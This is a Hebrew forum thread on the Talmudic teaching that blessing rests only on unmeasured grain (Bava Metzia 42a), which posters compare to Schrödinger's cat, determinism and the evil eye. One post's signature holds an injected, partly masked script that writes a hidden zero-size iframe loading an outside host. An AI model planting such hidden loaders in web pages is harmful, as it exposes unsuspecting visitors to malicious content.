בית פורומים עצור כאן חושבים

החתול של שרדינגר? התבואה של רבי יצחק! (ב"מ מב.)

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-7/11/2016 10:39 לינק ישיר 
החתול של שרדינגר? התבואה של רבי יצחק! (ב"מ מב.)

.


(למי שלא מכיר, או זקוק לרענון - למטה, בהערה מס' 1, קישור להסבר הניסוי התאורטי המכונה "החתול של שרדינגר)


למדנו היום בדף היומי, בבא מציעא מב. , לגבי הברכה:


"וא"ר יצחק: אין הברכה מצויה אלא בדבר הסמוי מן העין, שנאמר: "יצו ה' אתך את הברכה באסמיך".
...
תנו רבנן: ההולך למוד את גורנו, אומר: יהי רצון מלפניך ה' אלהינו שתשלח ברכה במעשה ידינו.
התחיל למוד - אומר: ברוך השולח ברכה בכרי הזה.
מדד ואח"כ בירך - הרי זה תפילת שוא; לפי שאין הברכה מצויה לא בדבר השקול, ולא בדבר המדוד, ולא בדבר המנוי, אלא בדבר הסמוי מן העין, שנאמר: "יצו ה' אתך את הברכה באסמיך".



אניח לרגע לכך שבמסכת ברכות כבר למדנו כי אי אפשר להתפלל על העבר, משום שאז כל הנושא כאן יהיה בעייתי גם בטרם החל האדם למדוד או לשקול. אני רוצה להתמקד לרגע במודעות של האדם, בידיעתו את הכמות המדוייקת.

כל זמן שאין הוא יודע כמה יש - הברכה יכולה לשרות. כלומר, יתכן ויהיה שם יותר. אפשר וה' יגדיל את כמות התבואה. ברגע בו מדד האדם - והוא יודע היטב את הכמות המדוייקת - אין הברכה שורה. ה' לא יגדיל עבורו את הכמות.

כלומר, ברכת ה' תלויה בידיעת האדם. אם האדם יודע בדיוק - ברכת ה' לא תחול (ההיפך אינו מוכרח, כמובן. גם אם האדם לא יודע, זה לא מכריח את ברכת ה', אבל לפחות מאפשר אותה).


==


כל זמן שהאדם לא מדד את כמות התבואה באסם, יש לנו סופר-פוזיציה. יתכן שיש כמות מסויימת של תבואה, ויתכן שיש יותר. ברגע בו ימדוד האדם את כמות התבואה - הכמות ידועה, וזהו. נס גלוי לא יקרה כאן. הברכה לא תחול.















(1)  החתול של שרדינגר:




דווח על תוכן פוגעני

מנותק
נשלח ב-16/11/2016 08:23 לינק ישיר 

כיון שכתבתי ארוך, אני מסכם: יש שתי תפיסות ראשוניות של האדם באשר הוא אדם: מה שכבר קרה הוא קבוע ולא ניתן לשינוי ורק העתיד פתוח לשינוי. או שמה שקרה ולא ידוע לי (לא קבוע אפיסטמולוגית) הוא גם לא קבוע במציאות עד שייספר וייבדק (לא קבוע אונטולוגית).

הגישה שמאמינה שמה לא ידוע לא קבוע מתאימה לחשיבה בלתי ביקורתית של ילד ולעולם שלפני פרוץ המדע. היא גם עונה על תקוה שלנו שמזינה את ההתנהגות שלנו בתחומים רבים, כגון האמונה שכל עוד לא בדקתי מכתב שנכתב אלי, מה שנכתב בו עדיין יכול להשתנות.

****

כאשר קוראים טקסט, אנו מפרשים אותו לפי הידע המוקדם שלנו. לפי הנחות היסוד שלנו, שרובן ככולן אינן עומדות לבחינה. אם הקורא והמחבר חיים בתרבויות שונות, יתכן שאותו משפט יובן אחרת בידי מי שחיבר אותו ומי שקורא אותו.

דומה בעיני שהקביעה שציטט מואדיב באה לבטא את התחושה שכל עוד דבר לא נבדק ולא נמדד, הוא עדיין בר שינוי. מה שהוא פתוח מבחינה אפיסטמולוגית, כלומר לא סגור מצד ידיעתי, הוא גם פתוח אונטולוגית, כלומר הוא יכול להשתנות. הוא עדיין לא קבוע. כמות התבואה בגורן או כמות החיטים באסם אינה ידועה מפני שהיא לא נספרה ולא נשקלה ויש רק רושם כללי אודותיה. לפיכך אדם עשוי להרגיש שהכמות הזו אינה קבועה. מה שיקבע כמה יש שם אינו העובדה שהיא גדלה בשדה ונקצרה, אלא הספירה שלי היא שתברר ותקבע.

כך אני מפרש את הרקע לדברי ר' יצחק וכל הנאמר שם. ולפי מה שכתבתי, העדר הקביעות אינו תלוי בתפיסה תיאולוגית כזו או אחרת, עד כמה הקב"ה מתערב בבריאה ואם הוא מחולל נסים גלויים, כלומר ששוברים את חוקי הטבע. זו תחושה שנובעת ממקום אחר, מחוסר האבחנה בין מה שלא ידוע לבין מה שבאמת לא נקבע עדיין.

התחושה הזו יכולה לפקוד את האדם בכל מקום בחיים ובמיוחד במקומות בהם אנו מחכים לתשובה שיכולה לשנות הרבה. כל עוד לא פתחתי את הדף המקופל של המבחן שהוחזר לי, הציון שקיבלתי יכול להשתנות. כל עוד לא פתחתי את המעטפה עם התשובה ממקום העבודה שפניתי אליו, עדיין לא נקבע אם הם קיבלו אותי לעבודה או לא. אפילו: כל עוד לא בדקתי באינטרנט מה תוצאות הבדיקות שעשיתי, אז עדיין לא קבוע מה המצב הבריאותי.

אנו יודעים שהעולם שלנו מתנהל באופן דטרמיניסטי. יש סיבות ויש תוצאות. כאשר קצרתי את השדה, כמות התבואה היא קבועה. לא אמצא ולא אוכל למצוא יותר ממה שגדל שם. אפשר רק לאבד מן החיטה בדרך עקב תקלות. אבל באיזו מידה זו ידיעה מודרנית שהאדם כפוי לקבל והיא נכפית על התחושה הראשונית יותר של "לא ידוע - לא קבוע"?

אם אני צודק, ויש לכל אדם תחושה ראשונית כזו שאולי נובעת מתפיסה ילדותית ולא מדעית, אז על סמך האמונה המוטעית הזו ניתן לבנות הלאה. אפשר לקשר זאת לשאלה התיאולוגית אם ה' מחולל ניסים גלויים או נסתרים. ואם מאמינים שלחשיבה חיובית או שלילית של האדם, או לאמירות כאלו, יש השפעה, אז אפשר לפחד שעין הרע במובן של קנאה ואיחול רע יזיקו.

אבל יש לשים לב שהתחושה ש"לא ידוע - לא קבוע" עומדת בפני עצמה בלי קשר לשאלה תיאולוגית או לשאלה האם מאגיה פועלת ברמה של עין הרע.

מה מכל מה שכתבתי נכון לגבי הסוגיה הזו? דומה בעיני שבעל המימרה לוקח את האינטואיציה (במובן של תחושה ראשונית) של כולנו ומשלב אותה בתוך המלצה דתית יהודית. אם דבר לא נקבע, האם לא כדאי להתפלל עליו? ודווקא כל עוד הדברים לא נסגרו, כי מה שלא ידוע לא קבוע. מה שלא נמדד עדיין יכול להשתנות.

הנחת היסוד הזו לגבי הגמישות של המציאות שלא נבדקה מעוררת שאלות. איך בדיוק זה עובד? איך יגיע שפע אם סוף סוף קצרתי כמה שקצרתי ולא יותר? אפשר שבכך התקשה רש"י ואפשר שמשום כך הוא העלה טענה, שאיני מבין, שהשפע "מתברך מעצמו", או, כלשונו, "רבה מאליו".

מצאתי אמירה מקבילה במדרש.

ל, לא ויאמר מה אתן לך. ממון אתן לך בשכרך. לא תתן לי מאומה, לא תתן לי דבר שיש בו מום, לפי שהממון אינו מתברך מאליו, ואין ברכה מצויה בו אלא בדבר הסמוי מן העין, אבל אם תתן לי דבר המתברך מאליו, אשובה ארעה צאנך.

(בראשית רבתי פרשת ויצא [המתחיל בעמוד 117])

כאן "מתברך מאליו" הוא כנראה בעלי חיים שמולידים ופרים ורבים. לעומת ממון שהוא דבר ספור ולכן קבוע.

כמובן, קצב הריבוי של צאן נתפס בעינינו כדבר שבאמת לא נקבע. הרי בשנה מסויימת אפשר שהכבשים יולידו יותר או פחות. בניגוד לכמות התבואה שנקצרה. אולם לגבי ריבוי הצאן בשנה הבאה זה נחשב בעינינו לדבר פתוח באמת, כי הוא בעתיד וטרם התרחש. אם כי הדטרמיניסט יאמר לנו שהדברים כבר נקבעו ואינם בני שינוי ואנו רק טועים להאמין שהעתיד ניתן להיקבעות בידי בחירה אנושית או התפתחות כלשהי.

לפי זה נראה לי שיש כאן שלוש או ארבע רמות של אי היקבעות.

א. מה שכבר קרה: התבואה נקצרה ונספרה - לא ניתן לשינוי (ותפילה על זה תהיה כמסתבר תפילת שווא).

ב. מה שקרה אבל לא נמדד: התבואה באסם ולא נספרה או נשקלה. מבחינה אפיסטמולוגית (הידיעה שלי) זה פתוח. מבחינת הטבע זה כבר נקבע ונסגר. בעולם של פעם, אצל חז"ל, זה נתפס כדבר פתוח לשינוי. ולכן יש טעם להתפלל. וזה גם חשוף להשפעות אחרות, כגון עין הרע. במבט מודרני, יש כאן, לפי התיאוריה שהצגתי על יצירת האמונות שלנו, תפיסה ראשונית של ילד שמתנגשת עם תפיסה מדעית שמתפתחת בגיל מאוחר יותר וגם זה רק בתרבות שיש בה חשיבה מדעית במובן שלנו.

ג. ריבוי הצאן בשנה הבאה, כמו באמירה שציטטתי מן המדרש. כאן גם אנו, בני המאה ה21, חשים שזה פתוח. שזה לא נקבע לא רק אפיסטמולוגית (איני יודע את העתיד) אלא גם אונטולוגית - זה באמת ניתן לשינוי. אמנם גישה כזו מתנגשת עם הדטרמיניזם המדעי. כיון שהנסיבות הנוכחיות הן קבועות ורק לא ידועות לי, והיות שדברים מתרחשים לפי חוקי טבע קשיחים גם אם איני מכיר את החוקים במלואם וגם אם המחשבים שלי לא מסוגלים להריץ את החישובים המורכבים שיספרו לי מה חייב לקרות, עדיין העתיד סגור. אם יעקב אבינו היה בא להתייעץ עם לפלס לגבי השאלה אם עדר צאן מסויים יניב יותר או פחות ולדות, לפלס היה יכול לומר לו שיש תשובה קבועה מראש על פי מערכת חוקים שאינה מוכרת עדיין ולכן הסטטיסטיקאי יכול לספק רק המלצות לגבי עדר זה או אחר אבל לא לתת תשובה מוחלטת. אבל זו אי היקבעות אפיסטמולוגית, לא אונטולוגית.

ד. אי היקבעותו של האלקטרון במערכת שרדינגרית. הפתעה אפיסטמולוגית: לדעת פיזיקאים מסויימים המציאות התת חלקיקית באמת אינה קבועה עד שהיא מתרחשת בפועל. ויתכן שאפשר לגרור את אותה אי היקבעות גם למישור העל חלקיקי ולכן החתול בתיבה של שרדינגר הוא במצב של לא חי ולא מת עד שייבדק. בדיוק כמו האינטואיציה הראשונית שלנו כילדים, מה שסולל דרך לחשיבה מאגית.

***
מתוך הדברים עשויה להשתמע הסתכלות מגבוה על העבר. האם יש מקום לביקורת על חכמינו שהמליצו מה שהמליצו מפני שלא היו מורגלים בחשיבה דטרמיניסטית? זה תלוי בציפיה שלנו מחכמים ובמיוחד מחכמי התלמוד. באי הפורום הזה יודעים שיש התנגשות בין הציפיות שעליהן התחנכנו לחכמה ולידע של חז"ל שלא יכלו לטעות לבין המציאות: הם היו חכמים אבל לנו יש ידיעות שלהם לא היו. וזה לא חסרון בהם. הם עשו את המיטב שיכלו, ביראת שמים. זה מה שאני אומר לעצמי כאשר אני נתקל במה שנראה כטעויות במדע ובהכרת המציאות אצל רבותינו. דומה שהבעייתיות הזו של "איך לפרש שחז"ל הבינו אחרת" היא הבעיה החריפה של האשכול, ולא באיזו מידה דברי חז"ל עשויים להתאים לתיאוריה פיזיקלית מודרנית ואנטי אינטואיטיבית.

___טעות הקלדה תוקנה...______________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 16/11/2016 08:26:02




דדווח על תוכן פוגעני

מנותק
נשלח ב-13/11/2016 15:46 לינק ישיר 

מעשה באחד שזרע סאה של אפונים ועשת שלש מאות סאין, אמרו לו: התחיל הקב"ה לברכך, אמר לון אזלון לכון, די ינחת טלא בישא עליה, כי לא כן בכפלא הוות מעביד (לכו לכם, לשון גערה, כלומר לא כן הוא כאשר אמרתם, כי ירד עליו טל רע, שאילמלא כן היה עושה כפליים) (ירושלמי פאה ז, ד).



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/11/2016 15:21 לינק ישיר 

יש הבדל בין לקיחת סיכונים כמו להתפלל על נס או לסמוך על נס( כמו לא ללכת לרופא או לא להרוג את הבא להרגך )לבין רעיון  שהאל מברך חיטה ששקלו אותה  ולא מברך חיטה ששקלו אותה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/11/2016 11:08 לינק ישיר 

אין לי דרך כרגע לשאול את חכמים בנושא זה, אך אני משער שהדבר נועד למטרות חינוך. לחנך את האדם לחיות במסגרת טבעית בה הוא נדרש ויכול לשנות את מהלך הענייניםולהבין שלמעשיו יש השלכות. לולא זאת היא האדם מתפלל לניסים ("אני אומר לך דברים של טעם ואתה אומר לי השם ירחם?") ולקוח סיכונים בתקווה שיתחוללו ניסים (הקנאים בסוף בית שני).



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2016 20:40 לינק ישיר 

אבל זאת בדיוק השאלה למה חכמים קבעו חוקי משחק כאלה האם הם דואגים שהאל יצטרך להתאמץ  פה יותר מדי? מה פשר הדאגה שלהם לאל ?הרי הוא כל יכול.



דדווח על תוכן פוגעני

מחובר
נשלח ב-10/11/2016 16:10 לינק ישיר 

אפרים, כפי שאני הבנתי זאת התפיסה היא שיכולתו של הא' לא מוגבלת, אך בני אדם לא צריכים לבקש חריגה מדרך הטבע. בברכות העמידה יש בקשות שונות אבל הן "בתוך הטבע". מותר לבקש על העתיד אבל לא על העבר - כי אלה חוקי המשחק החלים על המתפלל ולא על הא'.

לגבי עין הרע, נראה לי שחכמים ראוה כמשהו טבעי לחלוטין כמוכח מדיני נזיקין הקשורים. ממילא ברגע שהגנת הראייה הוסרה מהגורן (על ידי המדידה) כבר לא ניתן לבקש חריגה מהטבע. הא' יכול לברך אם ירצה, אך האדם לא רשאי לצפות לזה.

שוב, אני לא מגן על התפיסה, אלא מנסה להבינה



דדווח על תוכן פוגעני

מנותק
נשלח ב-10/11/2016 15:54 לינק ישיר 

אם מדובר על ברכת האל איך יתכן שחכמים האמינו שיכולתו  של האל  מוגבלת רק לחומר שכמותו לא ידועה? (אותה שאלה לגבי הפיכת מין הילוד )



דדווח על תוכן פוגעני

מחובר
נשלח ב-10/11/2016 14:23 לינק ישיר 

בפשטות אין כאן תפילה לנס אלא שחכמים באמת האמינו שהכמות של חומר לא ידוע יכולה להשתנות לטוב או למוטב. שדים יכולים לקלקל אותו והאלוקים יכול לברך אותו. מרגע שהכמות נקבעה בהכרה האנושית היא לא יכולה להשתנות.
לעומת זאת, בסוגיא של בן זכר נראה בבירור שברגע בו נוצר זכר הוא לא יכול להפוך לנקבה (לתירוץ אחד, נס יכול להפוך אותו).
יתכן שהחילוק הוא בין מהות לכמות. דבר לא יכול להפוך לדבר אחר, אבל הוא יכול לגדול או לקטון.
וכמובן אין להסיק מכאן שחכמים ניחשו מראש את תורת הקוואנטים, כפי שחשב מיימוני, אלא שהפיזיקה שלהם התאימה במקרה להשקפה מסויימת (ומוזרה) בתורת הקוואנטים.


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-8/11/2016 14:23 לינק ישיר 


עין הרע אכן מהווה דוגמא לגורם הלכתי.

דברים האסורים מפני סכנה גם בהם יש לדון, שהרי רבותינו האשכנזים לא חששו לגילוי, ומדוע שלא נלמד מהם.

שינוי שם הוא ע"פ צוואת ר' יהודה החסיד ואינו עניין הלכתי טהור, ושעמתי אפילו שבעדות המיזרחיסטים יש שאינם מקפידים על כך ל"ע.

לגבי צרעת צ"ע.



דדווח על תוכן פוגעני

מחובר
נשלח ב-8/11/2016 14:12 לינק ישיר 

ראה מואדיב לגבי היזק ראיה. כמו כן כל מיני דברים שאסור לעשות מפני סכנה. שינוי שם כשיש אותו שם לכלה וחמותה.

ותשובה ותפילה וצדקה מעבירין את רוע הגזירה (טוב זה לא הלכה...)

שאלה טובה מה עושה הכהן המכריז על צרעת (האם הוא רק משנה מעמד משפטי של הנגע או את הנגע עצמו)




דדווח על תוכן פוגעני

מנותק
נשלח ב-8/11/2016 14:05 לינק ישיר 

ירובעל
באילו עוד מקומות ההלכה מכירה בסיבה רוחנית פיזית?

אם אנחנו לא מקבלים סיבתיות כזו, כמו שלדוגמא אנחנו מניחים שכינה פרה ורבה, האם יש לזה נפק"מ הלכתית?



דדווח על תוכן פוגעני

מחובר
נשלח ב-8/11/2016 13:59 לינק ישיר 

זה גם נושא לאשכול נפרד, אבל בכל זאת כמה מילים. שני מושגי סיבתיות בפנינו: האחד פיזיקלי – כלומר מעבר של אנרגיה מדבר לדבר (או אולי אלה המצויים בעולמות המדע יינסחו זאת טוב יותר). המושג השני לא מוכר במדע וניתן לכנותו סיבתיות רוחנית-פיזית – כלומר ההנעה הפיזית שמקורה במניע לא פיזי.

המאמינים בבורא (שאינו גוף) או המאמינים בנפרדות הנפש (שאינה חומרית) מאמינים בסיבתיות כזו. על פניו נראה שעין הרע שייכת לסוג זה של סיבתיות – כלומר הנעה פיזית שמקורה במשהו לא פיזי – ראייה. ואין להקשות שראייה היא פיזית כי היא פועלת דרך קליטה ולא דרך שידור. היות והאדם הדתי קרוב למושגים של סיבתיות לא פיזית או רוחנית פיזית – זה לא חייב להיראות לו מופרך שיש דבר כזה עין הרע. יש השגחה ויש גוף ונפש ויש עין הרע.

אינני רוצה להגן על המושג של עין הרע, רק לומר שהוא מאותה משפחה של מושגים שהאדם הדתי מצוי בהם. ההלכה מכירה בסיבתיות רוחנית פיזית מכמה סוגים



דדווח על תוכן פוגעני

מנותק
נשלח ב-8/11/2016 13:40 לינק ישיר 

בעלבעמיו כתב:
ושאלה לכל החכמים

נראה שחכמים האמינו בעין הרע. האם ניתן לומר שהם רק התפשרו עם האמונה המקובלת?



והרי פסקו כי היזק ראיה שמיה היזק!




דדווח על תוכן פוגעני

מנותק
נשלח ב-8/11/2016 12:46 לינק ישיר 




תוקן על ידי אליקים7241 ב- 08/11/2016 12:48:51




דדווח על תוכן פוגעני

מנותק
נשלח ב-8/11/2016 11:59 לינק ישיר 

ירובעל
קבל אייקון ירוק

מיימוני
מה דעתך?



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > החתול של שרדינגר? התבואה של רבי יצחק! (ב"מ מב.)
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 לדף הבא סך הכל 3 דפים.

bholext